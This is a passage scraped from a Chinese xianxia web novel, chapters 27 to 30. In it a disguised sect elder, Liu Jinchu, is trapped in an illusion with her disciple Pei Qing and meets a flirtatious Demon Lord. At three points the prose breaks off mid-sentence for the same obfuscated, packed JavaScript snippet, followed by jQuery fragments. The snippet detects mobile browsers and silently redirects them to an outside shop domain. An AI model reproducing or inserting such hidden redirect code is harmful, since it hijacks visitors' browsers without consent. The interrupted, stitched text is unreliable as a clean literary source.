柳今初抬手一看忽地怔住,当将手中的那碎了一半的花瓣丢了,浑身僵硬却不是因为看见了什么吓人的东西,那花瓣再正常不过了,白玉似的花瓣很柔软,像是刚刚从叶间摘下的,新鲜极了。 可这是栀子花啊,她再熟悉不过了,可裴卿也熟悉得很。 “松开了?另一只手呢?”在她身后传来的沉哑声音继续道。 柳今初捏了捏另外一只垂在身侧的手,双指相触,是干燥冰凉的,她垂头看,什么也没有。 “我能回头么?”柳今初终于开口与身后的人说话,她声音微微发着颤,若不细细听是听不出什么异常来的。 可她松开花瓣后风声停了,那几丝不对自然就被放大了。 “嗯。” 不过没等她回头,裴卿就绕到了她跟前,站在那口井前面,将她与黑洞洞的井隔开。 柳今初顿住,忘了后退,只僵在原地,直勾勾地盯着站在自己身前的人,这身穿着打扮她自是再熟悉不过了。 一袭青色的交领长袖纱衣,交领处只有羽白色暗纹长布做装饰,整件衣裳就再无任何繁复的绣饰素雅极了,衬得人沉静幽秘。 裴卿也换了一身衣裳,只不过是弟子服。 “你这身打扮……那芷汀去了何处?”柳今初不想让他察觉什么,急忙寻了另一个话题,望向他束得规规整整的袖口。 宗门弟子服还是以敞开的宽袖为主的,不过这些宽袖普遍要比一般的宽袖小些,只有部分弟子会寻来布制的护腕绑起,显得很是干净利落。 “化做了玉佩。”裴卿头也没垂,只看着眼前的少女,将腰间的玉佩摘下递给了她。 柳今初垂下眼帘看着那枚普通的方形玉佩没有作声,摊开掌心将它拿好,眼睛却是没有从裴卿腰间离开。 那里还有一枚玉佩,形状很是怪异,不过玉的质地很是细腻,清润透亮,是块好玉。 也是她丢的那枚,那枚装着妖兽的玉佩怎么就恰好被裴卿捡到了。 柳今初想要回来,可她又不知裴卿有没有看出玉的端倪来,若是被他看出,自己又要回去,身份岂不是就明晃晃地被摆出来了。 毕竟这半块玉与他身上另外一块是一对的,全宗门甚至整个仙界只此一块。 但若她不要回来,待他回来宗门,自己又要怎么面对徒弟,空说自己无意弄丢了?不过他也不会过早归宗门,期间他也不会再寻她,毕竟身为师尊的她还在闭关修炼。 “嗯,你们可曾遇见什么困难?我看这幻境能悄无声息换了我们的衣着,我觉得这幻境并不简单。”柳今初左右看了看手中的玉佩,想又试着对它说些什么,愿芷汀能这样和她交流,也免得她要孤身一人和裴卿独处。 “并无,不过眼下是要想想如何离开此地。”裴卿收回目光,转身看向那口井。 “这幻境定然不简单。”裴卿继续道。 柳今初听了点点头,她自然知道,只是现在他们算是在鬼打墙了,虽说已经不会被莫名其妙推到那吓人的井口边了,可这四周不是黑影一样的树就是干枯的杂草了。 仍然是昏暗的天,耳侧狂呼的风散去后就只剩下死寂般的静了,这景致带给人很是压抑的萧瑟苍凉感,并不苍阔而是狭隘的、沉闷的。 这番荒凉之景却格外契合现在柳今初的心境,她本来就很忐忑裴卿会不会问起自己衣着与手中的栀子花的事,这些东西没一样是符合她远东之女的身份的。 而裴卿自己身上的所有东西都是他曾经有过,换做是她自己,她也会怀疑自己的更何况是身为男主的裴卿。 可怪就怪在他没多问一句,而是探看起了四周的环境,好似什么都没发生一样与她正常相处。 “裴卿,你刚进来幻境时,耳边也有风声么?”柳今初觉得四周安静得太过分了,虽沉默着很安全,可她就是忍不住和他说些什么,想打断他现在在心里对自己的猜想。 虽然她也不知道裴卿此刻在想什么,可万一是她呢,那最好是打断干扰他了。 “嗯,手里也有花瓣,只不过是另外一种花。”裴卿蹲下身靠在井口边,拉动身侧枯地上散落的麻绳。 “花瓣很小,是紫丁香。” 柳今初还没问出口是什么花他便在话音散开前又开了口补充。 这下让柳今初更不好受了。 怎么偏偏是紫丁香,又是宗门里的花,话说来说去又绕回来危险的边缘。 这样看来,无论是被换掉的衣裳还是指尖捏着的花瓣,都与进幻境的人之前的过往有关。 如此一来说得通,裴卿从小到大待得最多的地方除了他的屋舍就是她那片遍地开满紫丁花的后山了。 柳今初也不知是何时起他就喜欢到那去练剑了,很小时裴卿还是会跟着师兄师姐一同去元剑台修练剑法,往后她不知从哪日起就能每日醒来透过花窗望见他挥舞长剑的身姿了。 “嗯,花瓣那样小,你能先我挣脱那呜哇乱叫的风声还是合理的。”柳今初道。 “是。” 本以为他会沉默着让她的话直接落到地上,可裴卿却以外地回了话,这倒是很反常,平日她与他对话可不是这样的,他若是能不回就不回,让他开口多说些话都让柳今初费尽心思了。 “先不聊这些有的没的了。芷汀何时能换回原身?说不定有她在,我们就能早些离开此地,这看着就只是幻境的小小一角而已。”柳今初逛不下去了,来来去去就是那几处地方,无非就是高长的树、枯长的草、一口死井而已。 这次裴卿正常得没回应她,柳今初却听见了什么东西扑通落水的声音,侧眼寻声看去,见裴卿站直了身,宽肩窄腰笔直矗立,背后还是那把长剑,这剑虽宽,可他的背也宽,这样一看却是意外地和谐不少。 柳今初没听见回应也不恼,缓步走到他跟前,她知道裴卿在沉心做事时是专注的,并非故意忽略什么。 这样的他,柳今初很早就发现了,尤其是在练剑的时候,裴卿似是总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17804657|210434||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 比别人上心很多,即便是很小的时候他也能沉得住心底的躁气,挥剑很是干脆利落,动作干净流畅,衣摆纷飞,行姿迅疾。 这点倒是和她很像,柳今初虽不爱炼气入体修炼,但真让她做她也能安静地运转宗门山巅丰裕的灵气将其尽数幻化入体,不过这一切都要取决于她有没有兴致。 柳今初看着他的侧颜,鼻梁高挺,剑眉星目,很是凌厉,小时候被养得圆润的脸颊消失了,圆溜溜的黑眼变得狭长。 平日看不觉得他长大了多少,可真要对比一下,柳今初发现他变化蛮大的,变得有棱有角了,总之俊朗很多,而且皮肤白里透红,小时候的面黄肌瘦早就消失不见了。 她很有成就感。 看着正有了兴致,那张俊美的侧脸忽地转向她,直直投来一道冰冷的视线,瞬间让柳今初觉得方才还和自己谈笑风生的裴卿被人夺舍了一样。 “你这是在做什么?”柳今初为了不让他觉得自己无所事事,捏着手中的玉佩在他眼前晃了一下。 “方才我问你的话……算了我便再同你讲一次就好,芷汀何时能变回来?总不能这样走一路吧?”柳今初不是没有想过要如何做,只是她察觉到了在此处自己的灵气似是很难运转,比平日要难上许多,这样看来这幻境对她很是不利。 也难怪她第一次来时总是心底发慌了,这里不但阴森森的,灵气还很是稀薄,换做凡人都能立即看出此地的不对来。 柳今初直直看着他,见他薄唇微动似是要说些什么。 可未能听见他发出声,一股强烈的灵力波动变传来了,柳今初当即便觉得头疼欲裂,整个人都似是被忽然席卷而来的浪水冲过卷撞一般,又觉着四肢百骸都被高寒的冷意裹挟缠紧了。 这样疼痛与寒冷的交织让她很不好受,明明很是想动动双手抓住身旁的青衣的,可她就是浑身无力一般抬起双臂很是苦难。 柳今初忍着疼,将手中的玉佩捏得很紧,裴卿离她不远,方才两人也靠得近,只要她再用些力便能将化作玉佩的芷汀递给裴卿。 这番场景与那黑雾卷走她时很像,只不过要更危险一些,那在这疼痛之后他们便可能来到另一处,或许说是真正进入那幻境,这样一来她若能单独行动自是再好不过了。 裴卿面色苍白,紧抿着唇,看着模样很像病弱之人,还在他看懂了来柳今初的想法,稳稳接住了那玉佩。 柳今初在熟悉的昏迷感中并不觉得迷乱,脑中倒是很清醒,眼神迷朦却还是看见了裴卿不解的眼神,他似是有很多话要说,眼里的困惑与疑虑交织,可柳今初不知道他此刻在想什么。 她记得她在很早以前就看不懂他的心思了。 顺从闭上眼,柳今初便没再觉得冷了,疼痛也似海水退潮一样散去,再醒来时又发现自己躺下床踏上。 她坐起身,面上没有多惊讶,只觉得这床踏宽敞极了,散落在地被褥是暗色的,细细一瞧还有暗纹,她不禁想摸一下,觉得触感定然比她身上的衣裳好。 可这又是何处,还是幻境么? 28. 第二十八章 柳今初四处张望起来,这屋子的布置可实在是华丽极了,和那元剑地有的一比,只不过元剑地是通壁辉煌,而这里满是暗色的玉石珍宝,雕刻花纹模样繁复精美,还多是黑棕色的香木。 柳今初不知是不是这木散发出的淡香,总之这里有种难以言说的香味,不似花香淡雅也不像果香那样甜腻,思来想去她觉得更像木香。 说起木香,她脑海里就浮现出那张少年意气还未消散的俊美脸庞,还有他随风散动的发丝。 柳今初动作利索,翻身从床踏上起来,欲找到门出去,她在此地逛了半天,只觉得脚都酸了也没找到什么可以打开的地方,没找见门就算了,这里的花窗多得很,可她怎么样都打不开。 此外柳今初还发现了自己体内的灵气运转很是困难,几乎是要耗费她极大的精力才能如往常一般调转灵气化作灵力。 如此一来,此地还能限制她用灵力了,柳今初探查一番还发现这里灵气是在稀薄。 转悠一圈仍是没有任何能离开这间屋子的法子,柳今初干脆又躺回床踏上,自觉掀开被褥盖在小腹上,张开四肢躺得很是随意。 反正她安全得很,周遭除了一堆繁复的装饰就是各式各样的珍宝玉石了,没有什么能威胁到她的东西,在此歇息一会儿就作罢。 她不知是该觉得幸运还是别的什么,虽说如了她的意,同两人分开了,可也不完全从了她的心,她现在只能干待在屋内哪也去不了,也是在谈不上能单独行动。 百无聊赖之际,柳今初挑了块模样看着不错的玉石,对着身旁的灯火观摩起来,觉得很是透亮,可她也算不上有多喜欢这些精美的小玩意儿,没一会儿就觉得这屋子是在太过无聊了些。 她觉得眼皮沉,想睡去,这屋里暖和,木香也盈鼻,又不是那样灯火通明,只有床头那两盏烛火灯散发明黄的烛光。 几扇花窗上又蒙着一层琉璃,那琉璃也不透,仅能让她瞧出外面有光来便是看不清其他东西了。 “这地到底是何处啊?”柳今初觉得困意愈发明显了,眼皮打着架,趴着自己交叠的双臂就要睡过去了,脑虽是被困意裹挟着,可尚能思索。 她还想着为何自己会想睡去,分明她才来时精神满满的。 而且裴卿他们会被送去了何处她也不知,这幻境是在奇怪,可她似是也没有什么法子,若是她灵识完整定能独自一人解决一切。 可坏就坏在她灵识不全,眼下又受了限,运转灵气也是要废个九牛二虎之力,这样下去她都没力气站起来了,想必就是方才动用了点灵气探知四周的灵气存余有多少,现在才困得闭眼就能睡过去吧。 可这地她第一次来,也不知有没有危险。 “这就睡过去了?” 迷迷糊糊间她听见了一道声音,第一次听觉得很是陌生,可她醒不来了,眼皮似是灌了铅沉得厉害。 而她鼓动的心却很是轻扬怎么也压不住,这该如何是好,她现在还不想就这样无缘无故地被人困在幻境里,又那样轻而易举地死了。 “你是何人……”她动了动唇,因为没了什么力气,说出的话很轻,近乎是用气音说的,若不是这屋只有两人又静得很,她觉得自己的话算是白说出口了。 忽地,肩头出传来轻微的疼痛感,随后她感觉身体腾空,后背离开了床踏感受到轻微的凉意。 一侧身便觉着自己贴着什么温热的东西,手臂处的衣袖堆叠让她能感受到小臂处传来的触感,她像是触到了什么皮质的东西,冰冰凉凉的。 柳今初动动指尖摸了摸那纹路,微微凸起,像什么柳今初也形容不上来,她很想睁开双眼看看将她打横抱起的人是谁。 她费力地想要睁开眼,模糊视线里只能看清一道模糊朦胧的轮廓,不过看得出是个男子,头上还有什么东西,尖尖的但是不算很长,看着像羊角。 这副样子看着就不像什么好人,柳今初在心里暗自道。 但她愈发觉得自己鼻尖处的木香浓得过了头,近乎变成了膏脂的浓香,好在不刺鼻她不讨厌。 “如何,这样可有好些?”那低沉的嗓音从耳侧传来 柳今初忽地睁大了双眼,圆溜溜的杏眼里透着迷茫,像是刚睡醒一般。 方才的困意烟消云散,柳今初只觉得自己像是被人猛地拉进了冷水里冲刷过一般,耳边传来的温热气息还未散尽,激得她浑身抖了一下。 她还没忘记现在自己是一个手无缚鸡之力的人,体内那点可以调用的灵气微乎其微,和凡人无任何区别了。 “你是何人?放我下来。”柳今初努力平稳慌乱的心,方才空荡荡只有她一人的屋子怎么忽地多出来一位男子。 还未惊叹完,柳今初一瞧他那副邪魅的模样心里警铃大作,又见这人浑身散发着令人不安的强势气息,觉得这般气势不是明晃晃地在警告她这人绝非善类么。 即便是知道自己毫无还手之力,柳今初也不顾一切开始在那人怀中扑腾起来,像是见到了什么妖魔鬼怪一般。 那披散着如墨般长发的男子见她满脸抗拒,细眉皱成一团,杏眼里除了惊恐就是惊吓,是个再木头的人也知这女人十分抗拒他。 柳今初动弹了一会儿见他没再说一句话,也没有要将她放下的意思,脑中已经出现了头上带角一脸邪恶的男子毫不留情将她斩首倒地的画面。 现在柳今初只期望眼前的人不是杀人如麻的反派了。 她虽没真正见过仙魔劫是番什么样的打斗场面,可她清楚地知道自己的惨状,原著里虽对她前期的描写很是随意,可后来她被反派用自己徒儿的剑当即斩首的画面描写可细致的很。 不过柳今初还是想再确认一下对方的身份,原著里藏得也深,她只知道那反派的代号却不知他真正的姓名便来到了这里。 “魔主。”男子见她停下来动作终于开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17832097|210434||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 。 柳今初听完不知心里是何滋味,只感觉五味杂陈,魔主她不认识,她看过的部分可没提及魔主,或许详细些谈她只知道有这一号人其他一概不知。 不过她看过段评,有人似是剧透了些,说那魔主大有来头,后面要考。 可这算什么,让她进京赶考是更慌乱些么? “你可知我为何会来到此处?”柳今初见他还是像先前那般直直看着自己,又不对自己动手,觉得这魔主脾气不错,看来同他谈谈还是有些看头的。 “不闹腾了?柳宗主。”那男子脸上带着戏谑的笑,扬了扬眉,眼底满是嘲弄之色,仿若谁在他眼里都是滑稽之辈。 “你如何进的幻境就是如何来到此处的。不过许久未见,你怎么丢了一半灵识?还是说你们仙界以江郎才尽,连长老都要献出灵识补救了?”他将人放下,不疾不徐地走至床踏旁,挥挥衣袖原本只有床头两盏烛灯的昏暗屋舍顷刻间光亮起来。 从他身侧便有一排烛火向外延伸,显得琉璃花窗外的灯火都暗淡几分。 屋内上梁挂满了各式绸缎,交错叠挂只垂下来一段圆滑的弧,屋内四处摆挂起来的彩石玉石在明亮的烛火下熠熠生辉,显得尤为灿烂将其比做灿烂星辰也不为过。 柳今初此刻才真正看清这屋内的布局,宽阔敞亮,顶上房梁上的绸缎一路从床踏延伸,远到柳今初觉得自己走一个来回都觉得累。 可方才她摸着昏黑查看屋子时,没觉着有多大,这屋子还会自己便不成? 不过牵动她情绪的倒也不是这雍华富丽的景,而是那魔主的话。 什么叫江郎才尽何献出灵识,她何时这般做了,不过心里虽是这般腹诽,她面上也一副愤愤的样子,可真让她反驳柳今初还是会斟酌片刻的。 眼下这魔主一眼便瞧出了自己的身份,说什么都不能惹他怒烦,倘若她现在是个灵识完整的剑修,当即就破了局离开这屋子,想必连魔主都不会遇到。 不过再如何说,魔主也是个身份特殊之人,算是书内重要之人。 “是又如何,不是有如何。总之此事不重要,说清此处是何地才是重要之事。”柳今初站着瞧已经在床踏上随意躺好的男人道。 “总算是清醒许多,这里是魔界,怎么,柳宗主忘了不成?”那人已经闭上了双眼,唇角仍带有轻微的弧度,他长腿交叠,视线再移便见他刚刚褪去的暗色外衫就被随意地丢在床角。 柳今初看着他这副懒散地模样不语,若此处是魔界,那方才的幻境又是什么,身为魔族之主的他怎么会在此处,那被封印在远东海域的魔族又算什么。 而且他似是与原主有瓜葛,只是她脑海空空,想不起任何与眼前男子有关的事。 见她久久不出声,躺着的男子掀开眼皮,深邃的双眼望向她,红墨色的瞳孔像极了通透的红宝石。 “既已经来了此处,怎么不一同躺下休息?” 29. 第二十九章 柳今初同他对视上,杏眼睁得极大,下意识向后撤开一步,襦裙衣摆随她的动作摆动。 见她那副戒备的模样,男子似是觉得稀奇,当即启唇笑出声来,“你何时与我这般生疏了?罢了,见你如今修为大减,我便不同你计较这些琐事了。” 柳今初心中已有猜想,觉得原主定和这魔主有些瓜葛,至于是什么她不知,不过两人的关系定然不简单,单从他愿意同她同床共枕就能看出些苗头来。 可这是什么关系,能让元剑宗的人都不知,甚至她的亲传弟子宁明和进勉也未曾提起过她在外有个什么亲密之人。 这是算界外情么,原主是怎么和魔界的人这样亲昵不清的,还是魔主,作为仙界一大宗门长老未免是在有些不妥了吧。 不过如此看来,魔主便能暂时摆脱仙魔劫杀她的罪名了。 算庄好事。 见她站着没动,男子闭上了双眼,似是没把她当作外人一样若无其事地闭目养神。 柳今初想问些什么,既然他知道自己的真实身份,那就必然知道裴卿在何处。 正欲问出口,那人似是早就猜到了她想问什么一般,先行启唇道,“你那宝贝徒弟也在魔界,玉也在。” 柳今初同他待在一起许久也没觉察出他有什么别的心思,似乎就只是和旧人叙旧而已,于是她便渐渐放松下来,四处看了看没见着一张木椅,内心纠结片刻缓步走到床踏边。 这床踏宽敞,就算这高大的男子躺下了也可以躺下好几个她,可她是第一次见他,真让她与他同床共枕柳今初实在做不到。 见他又是闭着眼,柳今初便缓缓走到床踏边拍拍地就侧坐下来,这床踏不高她用来撑手也不觉着有什么不便。 看着男子安逸淡然的脸,柳今初打心底认为这魔主虽长相邪气了些可看着还是十分俊朗的,鼻梁高挺,长睫如羽又浓黑得很。 “怎么,许久未见我,今日舍得好好瞧瞧了?”他仍旧闭着眼,也不动弹一下让柳今初都觉得他要坠入梦乡了。 柳今初小声嘟囔一句,“原来没睡着啊。” 他掀起眼皮睨看她一眼,唇角的淡笑散去。 柳今初见了不知做什么表情好,只觉得自己做了些什么坏事让人抓了个现行,扯开一个僵硬的笑容,颊边梨涡显现,像盛了清泉的小涡。 忽地脸颊处传来轻微的凉意,柳今初微眯的眼骤然睁大,便见那人伸出修长的手,一只冰凉的指尖轻触她的梨涡,愣神之际却听他道。 “许久未见你笑了。” 柳今初觉得心里漫出了淡淡的怪异感,她说不清是什么,总之让她觉得心悸。 “既然你清楚我徒儿在何处,为何不告诉我?”柳今初没当即推开他的手,她不是很厌恶,又有求于人,便继续道,“你就打算这样睡过去么?这幻境可是你的手笔?” 那人先是将手收回,随后侧过身面对她开口道:“你要顶着这幅样貌去见他?” 柳今初觉得困惑,好端端的怎么说起她的样貌来。 不过随后她便知了,男子不知从何处变出一块小巧精美的铜镜来,她先是看到了铜镜背部繁复的栀子花雕刻,随后随他将铜镜翻转的动作,柳今初渐渐看清了镜子里的脸。 那是她的,柳眉杏眼,长睫微翘,唇色浅淡在铜镜里不是很明显。 柳今初哑然,她幻化的脸何时消失了,她却察觉不到,这魔界对她到底还有多少不利之处,灵气稀薄又难以运转就算了,反正眼下她受不到任何伤害,可她这幅样子要如何寻裴卿? “如何,可是欣赏够了。确是美人,不过你要急着见你的宝贝徒弟,这张脸可不行。”他挥袖将铜镜收回,又道:“不过,你若是幻境里的人,他未必认得出。” 柳今初看了一眼男子,不知要如何叫他,她不知他的姓名,眼下想明明白白、指名道姓地朝他说句难听的话也做不到。 不过他是如何得知她并不想在裴卿面前幻化真身的?莫不是早就盯上了她,或许说是裴卿,她不信身为魔主会察觉不到裴卿体内游动剑灵残魂。 “想问我为何得知?”男子轻笑,狭长的桃花眼中带着玩味并未把话说清。 他看了一眼女子似是想起了什么,垂眸思索片刻又道,“那幻境并非我的手笔,不过那人身份不简单,能让你们来到魔界,也是煞费苦心。” “你若执意要寻他,我也不会拦你。”他淡声道,“不过……” “不过什么?”柳今初看着他,听他道来柳今初也能猜出七七八八,想必也留在魔界的裴卿也不知这是魔界而是同她一样暗自认为这就是幻境,她若是借幻境的名头与他碰面也是个不错的法子。 “不过你记着,若是需要本座,在心中唤我便是。” 未待她应下,柳今初便被忽地传至另一处地方,她四处看了看,见有座石桥,桥下江水潺潺,倒映着或红或黄的灯影。 细细一瞧,这做工和样式可与凡间的大差不差,若不是方才的那番经历,她都要觉着那魔主误将自己传来了凡间。 靠近江水她俯身看着自己在水面上的倒影,微微随着流水晃动,朦朦胧胧像是残影。 柳今初有些惊讶,虽说同那魔主相处时她暗自认为他有些轻浮张扬,不想他还蛮细心细致的,特地给她换了一身衣裙,不再是进入幻境时变幻出来的那身齐胸襦裙了。 而是交领纱裙,裙摆宽大又是素淡的珍白色,外衫也是轻纱层层叠叠,叠出浅淡的水蓝色来,在小臂处蔓延变浅,纱袖也长,袖口的蓝淡开像水波一般清透轻盈。 魔主眼光还算不错,她还是第一次穿着中样式的襦裙,许是魔界女子流行的吧,她平日在宗门倒是没见过。 不过裴卿当真在此处?或许说他离她不远。 柳今初视线从水中倒影移开,看向那石桥,石桥上灯火通明,车水马龙,许多人赶着向桥头前方更热闹的地方去。 柳今初试着眺望,一眼便看到了一条光影交错的流光一样的长街,灯火星星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17832389|210434||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 点点渐渐没入夜空中,不过再更远处还有一簇灯火,透着冷色调的蓝光,幽寂冷森与这里的温暖热闹很是不同。 她虽不知那是何处,不过却觉着那处就是自己方才待过的地方。 耳边尽数是人群嘻笑交谈的嘈杂声,柳今初脑中的杂事繁多,四周灵气又稀薄。 她又拿体内淤积不动的灵气没法子,念清心诀也无济于事,只好随着人群慢慢走走停停,她也不知要如何才能遇见裴卿。 也不知这怪异的幻境出自谁手,更是早早失去了与林谦的联系,就连离自己最近的侯府怪事她也没个结果。 走着走着她又瞥见一个挂满了玉佩摊子,在烛火灯笼下玉佩散发着清润的光泽,颜色各异,比她在仙界见到的玉佩要丰富多彩许多。 可见了这番美景她脑海中的潭水又浮现另一片枯叶,她还未拿回玉佩,也不知裴卿是否早就发现了那玉佩原是自己身上那枚的另一半。 可里面还装着一只妖兽,他若是察觉了不对,那发现她的化身便是板上定钉的事了。 实在有些苦恼了,柳今初苦着一张脸,一步一步沿着桥边的铺子走,却是走马观花一样,把耳边的吆喝声忽略,似是只听进去了自己鼓动的心跳声。 柳今初走了许久也没走完这桥,抬起低垂的头有些不耐,想寻个清净的地方散心有些后悔随人上了这长长的桥。 又欲垂头盯着被自己走动的步子踢动的裙摆时,耳边传来了一声温和的叫唤,虽也是小摊惯用的拉客话却让人听着不恼。 “姑娘,这步摇很是配你的墨发,小女倒是头一回在这见到发这般黑的美人。” 柳今初停下步子没看那开口的人,只寻声停在她的摊子前,伸出修长玉白的手触摸第一眼便被吸引的步摇,双蝶长流苏,金羽翅琉璃苏,好生华丽。 不过与她这身素雅的衣裳不配,也和她随意的发式不配。 正欲看看别的步摇或是簪子时,余光见一位男子走来摊子前,柳今初下意识看了一眼,见他们也是长发不过与她相比,发的确不是那般浓黑。 她收回目光正欲离开这铺子,却听见两人的交谈声,她不知为何停了步子没走,又转身挑起那些让她眼花缭乱的发簪和步摇。 “这个最衬她,店主这步摇我便买下了。”那男子看了没多久便选定了。 “可算来买了,你前几日看下的今日可算来买了。”那看着摊子的女子笑出声,“如何,是今日才叫得那姑娘出来见你的?” “您可别取笑我了,多少魔晶我买下了!”那男子爽快道。 “想不到我们魔界有朝一日也会学起凡人做的事来,这步摇可不便宜,要十枚魔晶。”女子取笑他,笑声渐渐传入柳今的耳中。 凡人的事,是指买步摇么?柳今初放下手中随意拿起的青色步摇,觉得自己也是被魔附了身,竟会浪费时间在此处听这些琐杂的对话。 转身欲走,墨色的发丝在后腰微摆,她走得干脆没有半分再留的意思。 30. 第三十章 耳边却传来了熟悉的声音,柳今初脚步停住却是没敢回头。 “这步摇需多少文钱?” 柳今初觉得奇怪,如果按裴卿平日的性子,他是不会在幻境这样危险的地方有闲心做这些有的没的。 不过既然遇见了他,那也犯不着自己这样心事重重地还去寻他。 想着柳今初就转身,怕他注意不到身旁的动静,也伸出手拾起他指尖旁的另一个步摇,正是她第一眼相中的那支。 他捏着步摇细长的主干的手微微停住,柳今初能明显感觉到身旁的人气息沉了沉,再一看他已经偏头看向了她。 果真如此,这魔界灵气稀薄得可怕,连裴卿身上散发的灵气也淡得很,想必他也受了限,如此一来想必他是辨不出她究竟是真是假了。 “怎么见了师尊不行礼?历练几日就忘了礼数么?”柳今初觉得这长夜灯火之景很是不错,像极了凡间热闹的元宵日,这不就是现成的幻境么? 在洛阳与裴卿相处的时间不长柳今初便没察觉他的变化,如今两人站得近柳今初才发觉徒儿竟又长高了不少,身上的青涩褪去许多,留下更多的是沉静稳重的气息。 “师尊,你为何在此处?”他没有照做而是开口问她,挪步靠近她几分,手中的步摇流苏晃动,珠子相碰发出清脆响声。 “什么为何不为何的,方才你一人离开不知去了何处,你可知为师有多担心么?”柳今初很是敏锐,她没漏掉裴卿话里的任何信息,他方才问价说的是“文钱”,而不是“魔晶”。 看来他已将这里当作了幻境,她只要好好演下去师尊的身份便可以了,借此机会说不定还能拿回她的半块玉佩。 “罢了,好不容易又来一次凡间,我便不同你计较了。”柳今初装作气恼,学着平日裴卿板着脸的模样,嘴上原谅可面上倒是另外一面。 说起来她也的确有些生气,可她不知怒火何处来的,只知道心中种种琐事火上浇油,她一见他便到了火烧眉毛的程度。 罢了,烧掉了眉毛太怪了,她自己都看不下去。 “师尊,徒儿知错了。”裴卿垂下眼,将手中的步摇放回摊子的布子上。 柳今初见他道歉的话张口便来,觉得他诚意不够,自己又终是能当上师尊了便一鼓作气不领情,放下手中的步摇转身便走。 她总算知道自己火气从何而来了,这几日与裴卿相处就极为难受,可她一时半会儿也没有什么法子只能忍着,忽而又觉着同他相处好难,难比登天,也不知像他这样怎么也捂不热的人是如何获得芷汀芳心的。 “师尊。”身后传来一声急切的呼唤,柳今初哑然,她是第一次见他这样慌忙,平静的声音拔高几分,虽短短一句可却是让她听出几分颤来。 “急什么,我走得也不算快吧。”柳今初已经来到了桥尾巴,正下行要走出石桥。 她回眸瞧他,身后是万千灯火,桥尾处有许多买卖灯笼花灯的摊贩,那处最是亮堂也热闹极了,人群熙熙攘攘。 他见她身后满是暖色的灯火,一身素雅的纱衣透着光,身形朦胧他看不清却是将它记下,脑中映着那朦胧模糊的曲线,随即他视线上移想看着她的脸将脑海中的杂念抛去,她神情平淡看不出什么情绪,发丝映着光像是蒙上了星点,好看极了。 柳今初见他盯着自己看来半晌又偏头移开视线,这动作不明显,可她了解他,知他做什么都是谨慎小心的,平日有什么动作也是不易让人觉察的。 见他缓步跟上,柳今初觉得有些怪,他那样高大腿长,怎么会跟不上她的步子,莫不是让人挡住了? 想起来他那样高,在人群里她都能看见他的长发和飘扬的发带,虽说还是鹤立鸡群,可他那副冰一样的脸混在满是笑容的人群里实在有些突兀。 想到此柳今初不禁一笑,该如何是好,养了许久也没养成一个会笑的徒弟,她有时真想将整日嬉皮笑脸的宁明和进勉身上的淘气分他一些,让他多少沾点孩子气多弯唇小小。 白皙的脸颊显现浅浅的梨涡,她眯着眼笑,怕他觉着自己不正经,柳今初还伸出一只手虚握成拳抵在唇角想将笑意压下。 忽地鼻尖处传来淡淡的墨香混杂着木的清香,闻着让人觉着很舒心。 裴卿倾身靠近,面上显露几分紧张,轻蹙眉,长睫垂下,在灯影交错的夜里显得更为朦胧。 柳今初嗅闻出他的味道便知他走了过来,不过似是靠得太近了,近在咫尺一般,柳今初有些茫然,不过看他的样子裴卿似是比她更紧张些。 胸膛处传来的鼓动声清晰可闻,可她不知是谁的,分明自己的呼吸平稳得很,那定然就是身前之人的了。 可他靠得这般近做什么,平日最是看中男女授受不亲的人不是他么? 柳今初实在不明白裴卿此举是何意,不过靠得那样近她倒是能细细观摩他的变化了,凤眸仍是黑白分明,薄唇之色浅淡。 还有,有些冰。 柳今初指尖动了动,她碰到了什么,冰凉温润的,好似是玉,她心下一喜,指尖慢慢攀上那玉,动作很是轻柔,她怕自己太过用力牵动了裴卿,待细致摸遍那玉身,她敛眸想一再确认那块玉佩是不是她丢的那枚。 却不想发丝处传来轻微的拉扯感,随后只觉得头上一重,似是挂了什么东西。 柳今初以为自己的小动作让裴卿察觉了,抬眸却是对上了他的视线,余光还见他抬着手,似是在触摸她的发。 这是在做什么? 柳今初呼吸一滞,她总觉着这迷朦的画面在何处见过,可她没有心思去回想,脑中乱的很,一时间也没移开视线。 周遭的喧哗嬉闹声渐渐淡去,她再也听不见任何声响,只能听闻两人鼓动跳动的砰响声,她确认其中也有自己的心跳声,可她不知道是因为方才自己欲拿回玉佩的紧张还是他们太近了。 柳今初眨了眨眼,长睫扑朔,轻抿着樱粉的唇,撤开步子向后退前,她抬手抚上他腰际,手指勾动将那玉佩收入手心,随后轻轻蹙眉,手心的玉佩便消失了。 做完这一切柳今初立即向后挪了一步,后腰抵在石桥的柱子上,那石柱硬得很硌得她有些疼,她又退得急,撞到了眼中泛着盈盈泪花。 